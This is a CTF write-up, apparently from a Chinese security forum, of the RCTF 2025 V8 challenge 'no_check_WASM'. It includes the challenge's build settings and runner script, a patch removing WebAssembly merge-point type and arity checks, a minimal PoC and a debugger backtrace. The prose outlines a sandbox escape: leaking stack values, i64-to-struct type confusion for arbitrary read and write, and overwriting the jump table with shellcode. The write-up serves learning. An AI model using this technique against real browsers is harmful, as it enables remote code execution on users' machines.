-
-
[原创] RCTF 2025 - no_check_WASM
-
发表于: 2025-11-18 10:08 3447
-
pwn2own 24过后,wasm子系统一直是v8漏洞挖掘的热点,这次出到wasm模块相关的内容,因此想着过来看一下,但是比赛的时候笔者有一个步骤卡住了,导致没构造出最后的逃逸原语,可惜可惜
赛后与@Tplus@Qanux师傅交流了下,解决了自己卡住的地方,感谢两位师傅。
编译参数是,默认开启沙箱
题目下发的commit hash是42f5ff65d12f0ef9294fa7d3875feba938a81904

提交比较新,所以nday bypass的概率很低,就直接分析patch文件
看下文件上传逻辑,算一个hash,然后直接上传,文件大小<102400,应该是考虑到了wasm-module-builder.js的因素,所以这么大
注意这里的启动参数加了一个这个--no-memory-protection-keys,其实是为了防止intel cpu的pkey内存保护,简单的说就是构造出AAR和AAW之后,写一些内存页的时候会crash,详细的内容见这个issue
环境搭建一下,方便本地调试
修改编译参数为如下
接着autoninja -C out/x64.release d8 编译
提取下patch内容
主要patch的位置在WasmFullDecoder类里,这个类主要负责解析wasm函数体的内容,追下函数TypeCheckStackAgainstMerge_Slow,发现是一个slow path的函数,所以大概率还有fast path判断的逻辑
找到了上层函数,想要进入这slow path的话需要让栈值数量与函数签名不匹配,或者是一些复杂的函数
同时也需要注意到这个check是针对于merge point的检查,所以构造某些参数数量正常的函数的时候,需要采用特殊的branch
那么这里就可以简单构建一个poc,下一个断点来测试一下是否能抵达这个位置
其实是可以的

当前的栈回溯(部分
那我们的推测是没问题的,构造一个wasm stack的值数量与实际函数签名不符合的情况/或者是一个比较复杂的函数,可以进入到被patch的函数,接着来看patch掉了什么逻辑
首先被patch掉的是对于wasm stack的值数量与实际函数签名不相等,意味着可以去传递多个参数,也就是说可以通过传递多个返回值的方法去泄漏wasm stack上的内容,泄漏出的值大概率是v8沙箱之外的,这个也可以算上是沙箱逃逸的第一步了
下发会调用IsSubtypeOf对于stack_values进行类型检查,如果不符合则会报错,详细的实现位于v8/src/wasm/wasm-subtyping.cc:L421
这里的意思是wasm子类型检查被删去,因此可以实现类似于这样的类型混淆i64→struct。wasm的设计文档其实有很多,这里只是举了一个简单的例子,因此不难想到一些类型混淆的思路,下方的extern可以理解为js中的对象,struct可以通过get和set方式进行取值,也就是类似于指针解引的过程
其中AAR和AAW笔者比赛的时候犯了一个错误,在一个函数体中,直接将i64 cast为ref struct,然后直接解引用,这就造成了问题。
当对于一个struct类型进行kExprStructSet或者kExprStructGet操作的时候,会去检查底层的heaptype,因此当直接传入一个i64的值,不进行先进行类型混淆,而是直接cast使用就会造成问题。本质上就是触发了struct.get/set的检查,也并不是对于patch的利用,铸币了
而如果提前进行混淆,采用将i64转换成ref struct的方式,这会进入到这个函数
产生如下的调用链,将原本的i64标记为ref struct,因此后续利用的时候可以将这个i64接引,造成沙箱逃逸
这里用到上面提到的思路,当然下方也可以采用i64,这样也方便泄漏出cage_base,也可以通过泄漏indirectcall的函数ref,思路很多
下方就是addressOf和fakeObj的原语,然后leak_cage_base的逻辑其实和addressOf是一致的,leak_cage_base主要是这里没有截断高32位,所以可以泄漏出沙箱的基地址
通过上方的分析,其实我们可以通过参数不匹配的方式去泄漏wasm stack的值,所以这里可以尝试一下能泄漏出什么东西

这里泄漏出了 raw pointer(64-bit C++ 栈地址),通过扫描这个栈区域,可以找到
与上方分析的一致,这里需要将i64 → struct → i64,这样就可以实现沙箱逃逸,需要注意的是i64 → struct最好单独拆开,写成一个wasm函数供另外的wasm函数调用,代码如下。
接着就可以对于泄漏出的栈地址进行扫描,经过测试,可以发现第一个泄露出来的地址位于jit code所在的段,后续计算也发现与trusted_data中的jump_table偏移固定,因此我们可以得到jump_table的具体地址,并修改为我们的shellcode,出于稳定性的考虑,可以在前面加上一个nop指令即可
这里泄漏出来的值与栈偏移处的值并不相等,原因应该是当i64被cast成struct的时候,底层的heaptype等字段被修改,因此实际转换成struct进行取值的时候,会略微有偏差(通过以前阅读src/wasm/*的推测,这次并没有通过源码验证)

ai搓一个就行(

dcheck_always_on = falseis_debug = falsetarget_cpu = "x64"dcheck_always_on = falseis_debug = falsetarget_cpu = "x64"import sysimport osimport hashlibdef pow(): prefix = "rctf".encode() target = os.urandom(3).hex().encode() target_hash = hashlib.sha256(prefix + target).hexdigest() sys.stdout.write("=== Proof of Work Challenge ===\n") sys.stdout.write(f"Find a nonce such that SHA-256('{prefix.decode()}' + nonce) == {target_hash}\n") sys.stdout.write("nonce:") sys.stdout.flush() nonce = read_exactly(6).encode() data = prefix + nonce current_hash = hashlib.sha256(data).hexdigest() if current_hash == target_hash: sys.stdout.write("pow success!\n") sys.stdout.flush() return else: sys.stdout.write("pow failed!\n") sys.stdout.flush() exit(0)def read_exactly(n): result = [] remaining = n while remaining > 0: data = sys.stdin.read(remaining) if not data: break result.append(data) remaining -= len(data) return ''.join(result)pow()sys.stdout.write("script size:\n")sys.stdout.flush()size = int(sys.stdin.readline().strip())if size > 102400: sys.stdout.write("too large!\n") sys.stdout.flush() sys.exit(1)sys.stdout.write("script:\n")sys.stdout.flush()script = read_exactly(size)with open(sys.argv[1], 'w') as f: f.write(script)os.system("/home/ctf/d8 --no-memory-protection-keys " + sys.argv[1])import sysimport osimport hashlibdef pow(): prefix = "rctf".encode() target = os.urandom(3).hex().encode() target_hash = hashlib.sha256(prefix + target).hexdigest() sys.stdout.write("=== Proof of Work Challenge ===\n") sys.stdout.write(f"Find a nonce such that SHA-256('{prefix.decode()}' + nonce) == {target_hash}\n") sys.stdout.write("nonce:") sys.stdout.flush() nonce = read_exactly(6).encode() data = prefix + nonce current_hash = hashlib.sha256(data).hexdigest() if current_hash == target_hash: sys.stdout.write("pow success!\n") sys.stdout.flush() return else: sys.stdout.write("pow failed!\n") sys.stdout.flush() exit(0)def read_exactly(n): result = [] remaining = n while remaining > 0: data = sys.stdin.read(remaining) if not data: break result.append(data) remaining -= len(data) return ''.join(result)pow()sys.stdout.write("script size:\n")sys.stdout.flush()size = int(sys.stdin.readline().strip())if size > 102400: sys.stdout.write("too large!\n") sys.stdout.flush() sys.exit(1)sys.stdout.write("script:\n")sys.stdout.flush()script = read_exactly(size)with open(sys.argv[1], 'w') as f: f.write(script)os.system("/home/ctf/d8 --no-memory-protection-keys " + sys.argv[1])git reset --hard 42f5ff65d12f0ef9294fa7d3875feba938a81904gclient sync -Dgit apply < ./patchgn args out/x64.releasegit reset --hard 42f5ff65d12f0ef9294fa7d3875feba938a81904gclient sync -Dgit apply < ./patchgn args out/x64.releaseis_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = truev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truev8_enable_verify_heap = truedcheck_always_on = falsesymbol_level = 2is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = truev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truev8_enable_verify_heap = truedcheck_always_on = falsesymbol_level = 2diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.hindex b65ba5b9675..163fc536138 100644--- a/src/wasm/function-body-decoder-impl.h+++ b/src/wasm/function-body-decoder-impl.h@@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> { // if the current code is reachable even if it is spec-only reachable. if (V8_LIKELY(decoding_mode == kConstantExpression || !control_.back().unreachable())) {- if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {- this->DecodeError("expected %u elements on the stack for %s, found %u",- arity, merge_description, actual);- return false;- }- // Typecheck the topmost {merge->arity} values on the stack.- Value* stack_values = stack_.end() - arity;- for (uint32_t i = 0; i < arity; ++i) {- Value& val = stack_values[i];- Value& old = (*merge)[i];- if (!IsSubtypeOf(val.type, old.type, this->module_)) {- this->DecodeError("type error in %s[%u] (expected %s, got %s)",- merge_description, i, old.type.name().c_str(),- val.type.name().c_str());- return false;- }- if constexpr (static_cast<bool>(rewrite_types)) {- // Upcast type on the stack to the target type of the label.- val.type = old.type;- }- }+ // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {+ // this->DecodeError("expected %u elements on the stack for %s, found %u",+ // arity, merge_description, actual);+ // return false;+ // }+ // // Typecheck the topmost {merge->arity} values on the stack.+ // Value* stack_values = stack_.end() - arity;+ // for (uint32_t i = 0; i < arity; ++i) {+ // Value& val = stack_values[i];+ // Value& old = (*merge)[i];+ // if (!IsSubtypeOf(val.type, old.type, this->module_)) {+ // this->DecodeError("type error in %s[%u] (expected %s, got %s)",+ // merge_description, i, old.type.name().c_str(),+ // val.type.name().c_str());+ // return false;+ // }+ // if constexpr (static_cast<bool>(rewrite_types)) {+ // // Upcast type on the stack to the target type of the label.+ // val.type = old.type;+ // }+ // } return true; } // Unreachable code validation starts here.diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.hindex b65ba5b9675..163fc536138 100644--- a/src/wasm/function-body-decoder-impl.h+++ b/src/wasm/function-body-decoder-impl.h@@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> { // if the current code is reachable even if it is spec-only reachable. if (V8_LIKELY(decoding_mode == kConstantExpression || !control_.back().unreachable())) {- if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {- this->DecodeError("expected %u elements on the stack for %s, found %u",- arity, merge_description, actual);- return false;- }- // Typecheck the topmost {merge->arity} values on the stack.- Value* stack_values = stack_.end() - arity;- for (uint32_t i = 0; i < arity; ++i) {- Value& val = stack_values[i];- Value& old = (*merge)[i];- if (!IsSubtypeOf(val.type, old.type, this->module_)) {- this->DecodeError("type error in %s[%u] (expected %s, got %s)",- merge_description, i, old.type.name().c_str(),- val.type.name().c_str());- return false;- }- if constexpr (static_cast<bool>(rewrite_types)) {- // Upcast type on the stack to the target type of the label.- val.type = old.type;- }- }+ // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {+ // this->DecodeError("expected %u elements on the stack for %s, found %u",+ // arity, merge_description, actual);+ // return false;+ // }+ // // Typecheck the topmost {merge->arity} values on the stack.+ // Value* stack_values = stack_.end() - arity;+ // for (uint32_t i = 0; i < arity; ++i) {+ // Value& val = stack_values[i];+ // Value& old = (*merge)[i];+ // if (!IsSubtypeOf(val.type, old.type, this->module_)) {+ // this->DecodeError("type error in %s[%u] (expected %s, got %s)",+ // merge_description, i, old.type.name().c_str(),+ // val.type.name().c_str());+ // return false;+ // }+ // if constexpr (static_cast<bool>(rewrite_types)) {+ // // Upcast type on the stack to the target type of the label.+ // val.type = old.type;+ // }+ // } return true; } // Unreachable code validation starts here.template <StackElementsCountMode strict_count, PushBranchValues push_branch_values, MergeType merge_type, RewriteStackTypes rewrite_types>V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) { uint32_t arity = merge->arity; uint32_t actual = stack_.size() - control_.back().stack_depth; // Handle trivial cases first. Arity 0 is the most common case. if (arity == 0 && (!strict_count || actual == 0)) return true; // Arity 1 is still common enough that we handle it separately (only doing // the most basic subtype check). if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) { if (stack_.back().type == merge->vals.first.type) return true; } return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values, merge_type, rewrite_types>(merge);}template <StackElementsCountMode strict_count, PushBranchValues push_branch_values, MergeType merge_type, RewriteStackTypes rewrite_types>V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) { uint32_t arity = merge->arity; uint32_t actual = stack_.size() - control_.back().stack_depth; // Handle trivial cases first. Arity 0 is the most common case. if (arity == 0 && (!strict_count || actual == 0)) return true; // Arity 1 is still common enough that we handle it separately (only doing // the most basic subtype check). if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) { if (stack_.back().type == merge->vals.first.type) return true; } return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values, merge_type, rewrite_types>(merge);}enum StackElementsCountMode : bool { kNonStrictCounting = false, kStrictCounting = true};enum MergeType { kBranchMerge, kReturnMerge, kFallthroughMerge, kInitExprMerge};enum class PushBranchValues : bool { kNo = false, kYes = true,};enum class RewriteStackTypes : bool { kNo = false, kYes = true,};// - If the current code is reachable, check if the current stack values are// compatible with {merge} based on their number and types. If// {strict_count}, check that #(stack elements) == {merge->arity}, otherwise// #(stack elements) >= {merge->arity}.// - If the current code is unreachable, check if any values that may exist on// top of the stack are compatible with {merge}. If {push_branch_values},// push back to the stack values based on the type of {merge} (this is// needed for conditional branches due to their typing rules, and// fallthroughs so that the outer control finds the expected values on the// stack). TODO(manoskouk): We expect the unreachable-code behavior to// change, either due to relaxation of dead code verification, or the// introduction of subtyping.enum StackElementsCountMode : bool { kNonStrictCounting = false, kStrictCounting = true};enum MergeType { kBranchMerge, kReturnMerge, kFallthroughMerge, kInitExprMerge};enum class PushBranchValues : bool { kNo = false, kYes = true,};enum class RewriteStackTypes : bool { kNo = false, kYes = true,};// - If the current code is reachable, check if the current stack values are// compatible with {merge} based on their number and types. If// {strict_count}, check that #(stack elements) == {merge->arity}, otherwise// #(stack elements) >= {merge->arity}.// - If the current code is unreachable, check if any values that may exist on// top of the stack are compatible with {merge}. If {push_branch_values},// push back to the stack values based on the type of {merge} (this is// needed for conditional branches due to their typing rules, and// fallthroughs so that the outer control finds the expected values on the// stack). TODO(manoskouk): We expect the unreachable-code behavior to// change, either due to relaxation of dead code verification, or the// introduction of subtyping.var wasm_mode = 1;if(wasm_mode){ prefix = "../../"; path = "test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(prefix + path);}builder.addFunction("poc", makeSig([], [kWasmI32,kWasmI32,kWasmI32])) .exportFunc() .addBody([ ]);const instance = builder.instantiate();let {poc} = instance.exports;poc();var wasm_mode = 1;if(wasm_mode){ prefix = "../../"; path = "test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(prefix + path);}builder.addFunction("poc", makeSig([], [kWasmI32,kWasmI32,kWasmI32])) .exportFunc() .addBody([ ]);const instance = builder.instantiate();let {poc} = instance.exports;poc();pwndbg> bt#0 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge_Slow<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5168) at ../../src/wasm/function-body-decoder-impl.h:7879#1 0x00006344fcec439a in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5101) at ../../src/wasm/function-body-decoder-impl.h:7860#2 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DoReturn<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2> (this=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:7935#3 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEndImpl (this=0x7ffd209c0b90, opcode=<optimized out>, trace_msg=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:4036#4 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEnd (decoder=0x7ffd209c0b90, opcode=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:3943#5 0x00006344fcec289b in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeFunctionBody (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3287#6 0x00006344fcec0a24 in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::Decode (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3110#7 0x00006344fcec06df in v8::internal::wasm::ValidateFunctionBody (zone=zone@entry=0x7ffd209c0d20, enabled=..., module=<optimized out>, detected=detected@entry=0x7ffd209c0dd0, body=...) at ../../src/wasm/function-body-decoder.cc:80#8 0x00006344fcf020b6 in v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::ValidateFunction (this=0x2bbc0000c230, func_index=0, zone=0x7ffd209c0d20, detected_features=0x7ffd209c0dd0) at ../../src/wasm/module-decoder.cc:582#9 v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::Run (this=0x2bbc0000c230, delegate=0x7ffd209c0e20) at ../../src/wasm/module-decoder.cc:558#10 0x00006344fdc0ae16 in v8::platform::DefaultJobState::Join (this=0x2bbc0004ac88) at ../../src/libplatform/default-job.cc:141#11 0x00006344fdc0b2c3 in v8::platform::DefaultJobHandle::Join (this=0x2bbc0000ad80) at ../../src/libplatform/default-job.cc:231#12 0x00006344fcef30b0 in v8::internal::wasm::ValidateFunctions(v8::internal::wasm::WasmModule const*, v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, std::__Cr::function<bool (int)>, v8::internal::wasm::WasmDetectedFeatures*) (module=module@entry=0x2bbc00064398, enabled_features=..., wire_bytes=..., filter=..., detected_features_out=0x7ffd209c0f48) at ../../src/wasm/module-decoder.cc:660#13 0x00006344fcee987b in v8::internal::wasm::(anonymous namespace)::ValidateFunctions (module=0x2bbc00064398, wire_bytes=..., enabled_features=..., only_lazy_functions=<optimized out>, detected_features=0x7ffd209c0f48) at ../../src/wasm/module-compiler.cc:2192#14 v8::internal::wasm::(anonymous namespace)::ValidateFunctions (native_module=..., only_lazy_functions=<optimized out>) at ../../src/wasm/module-compiler.cc:2200#15 0x00006344fcee5050 in v8::internal::wasm::(anonymous namespace)::CompileNativeModule (thrower=0x7ffd209c1368, native_module=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2232#16 v8::internal::wasm::(anonymous namespace)::GetOrCompileNewNativeModule (isolate=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=0x7ffd209c1368, compilation_id=<optimized out>, module=..., wire_bytes=..., context_id=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2340#17 v8::internal::wasm::CompileToNativeModule (isolate=isolate@entry=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=thrower@entry=0x7ffd209c1368, module=..., wire_bytes=..., compilation_id=0, context_id=..., pgo_info=0x0) at ../../src/wasm/module-compiler.cc:2381#18 0x00006344fcf40ce2 in v8::internal::wasm::WasmEngine::SyncCompile (this=0x2bbc00114118, isolate=0x2bbc00184000, enabled_features=..., compile_imports=..., thrower=0x7ffd209c1368, bytes=...) at ../../src/wasm/wasm-engine.cc:709#19 0x00006344fcf5a158 in v8::(anonymous namespace)::WebAssemblyModuleImpl (info=...) at ../../src/wasm/wasm-js.cc:879#20 v8::internal::wasm::WebAssemblyModule (info=...) at ../../src/wasm/wasm-js.cc:3074#21 0x00006344fc45418f in v8::internal::FunctionCallbackArguments::CallOrConstruct (this=this@entry=0x7ffd209c14e8, function=..., is_construct=<optimized out>) at ../../src/api/api-arguments-inl.h:93#22 0x00006344fc4538eb in v8::internal::(anonymous namespace)::HandleApiCallHelper<true> (isolate=isolate@entry=0x2bbc00184000, new_target=..., fun_data=..., receiver=..., argv=argv@entry=0x7ffd209c1610, argc=argc@entry=2) at ../../src/builtins/builtins-api.cc:105#23 0x00006344fc452ffb in v8::internal::Builtin_Impl_HandleApiConstruct (args=..., isolate=0x2bbc00184000) at ../../src/builtins/builtins-api.cc:136#24 0x00006344fdaac4f6 in Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit ()#25 0x00006344fda0006a in Builtins_InterpreterPushArgsThenFastConstructFunction ()pwndbg> bt#0 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge_Slow<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5168) at ../../src/wasm/function-body-decoder-impl.h:7879#1 0x00006344fcec439a in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5101) at ../../src/wasm/function-body-decoder-impl.h:7860#2 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DoReturn<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2> (this=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:7935#3 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEndImpl (this=0x7ffd209c0b90, opcode=<optimized out>, trace_msg=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:4036#4 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEnd (decoder=0x7ffd209c0b90, opcode=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:3943#5 0x00006344fcec289b in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeFunctionBody (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3287#6 0x00006344fcec0a24 in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::Decode (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3110#7 0x00006344fcec06df in v8::internal::wasm::ValidateFunctionBody (zone=zone@entry=0x7ffd209c0d20, enabled=..., module=<optimized out>, detected=detected@entry=0x7ffd209c0dd0, body=...) at ../../src/wasm/function-body-decoder.cc:80#8 0x00006344fcf020b6 in v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::ValidateFunction (this=0x2bbc0000c230, func_index=0, zone=0x7ffd209c0d20, detected_features=0x7ffd209c0dd0) at ../../src/wasm/module-decoder.cc:582#9 v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::Run (this=0x2bbc0000c230, delegate=0x7ffd209c0e20) at ../../src/wasm/module-decoder.cc:558#10 0x00006344fdc0ae16 in v8::platform::DefaultJobState::Join (this=0x2bbc0004ac88) at ../../src/libplatform/default-job.cc:141#11 0x00006344fdc0b2c3 in v8::platform::DefaultJobHandle::Join (this=0x2bbc0000ad80) at ../../src/libplatform/default-job.cc:231#12 0x00006344fcef30b0 in v8::internal::wasm::ValidateFunctions(v8::internal::wasm::WasmModule const*, v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, std::__Cr::function<bool (int)>, v8::internal::wasm::WasmDetectedFeatures*) (module=module@entry=0x2bbc00064398, enabled_features=..., wire_bytes=..., filter=..., detected_features_out=0x7ffd209c0f48) at ../../src/wasm/module-decoder.cc:660#13 0x00006344fcee987b in v8::internal::wasm::(anonymous namespace)::ValidateFunctions (module=0x2bbc00064398, wire_bytes=..., enabled_features=..., only_lazy_functions=<optimized out>, detected_features=0x7ffd209c0f48) at ../../src/wasm/module-compiler.cc:2192#14 v8::internal::wasm::(anonymous namespace)::ValidateFunctions (native_module=..., only_lazy_functions=<optimized out>) at ../../src/wasm/module-compiler.cc:2200#15 0x00006344fcee5050 in v8::internal::wasm::(anonymous namespace)::CompileNativeModule (thrower=0x7ffd209c1368, native_module=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2232#16 v8::internal::wasm::(anonymous namespace)::GetOrCompileNewNativeModule (isolate=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=0x7ffd209c1368, compilation_id=<optimized out>, module=..., wire_bytes=..., context_id=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2340#17 v8::internal::wasm::CompileToNativeModule (isolate=isolate@entry=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=thrower@entry=0x7ffd209c1368, module=..., wire_bytes=..., compilation_id=0, context_id=..., pgo_info=0x0) at ../../src/wasm/module-compiler.cc:2381#18 0x00006344fcf40ce2 in v8::internal::wasm::WasmEngine::SyncCompile (this=0x2bbc00114118, isolate=0x2bbc00184000, enabled_features=..., compile_imports=..., thrower=0x7ffd209c1368, bytes=...) at ../../src/wasm/wasm-engine.cc:709#19 0x00006344fcf5a158 in v8::(anonymous namespace)::WebAssemblyModuleImpl (info=...) at ../../src/wasm/wasm-js.cc:879#20 v8::internal::wasm::WebAssemblyModule (info=...) at ../../src/wasm/wasm-js.cc:3074#21 0x00006344fc45418f in v8::internal::FunctionCallbackArguments::CallOrConstruct (this=this@entry=0x7ffd209c14e8, function=..., is_construct=<optimized out>) at ../../src/api/api-arguments-inl.h:93#22 0x00006344fc4538eb in v8::internal::(anonymous namespace)::HandleApiCallHelper<true> (isolate=isolate@entry=0x2bbc00184000, new_target=..., fun_data=..., receiver=..., argv=argv@entry=0x7ffd209c1610, argc=argc@entry=2) at ../../src/builtins/builtins-api.cc:105#23 0x00006344fc452ffb in v8::internal::Builtin_Impl_HandleApiConstruct (args=..., isolate=0x2bbc00184000) at ../../src/builtins/builtins-api.cc:136#24 0x00006344fdaac4f6 in Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit ()#25 0x00006344fda0006a in Builtins_InterpreterPushArgsThenFastConstructFunction ()if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) { this->DecodeError("expected %u elements on the stack for %s, found %u", arity, merge_description, actual); return false;}if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) { this->DecodeError("expected %u elements on the 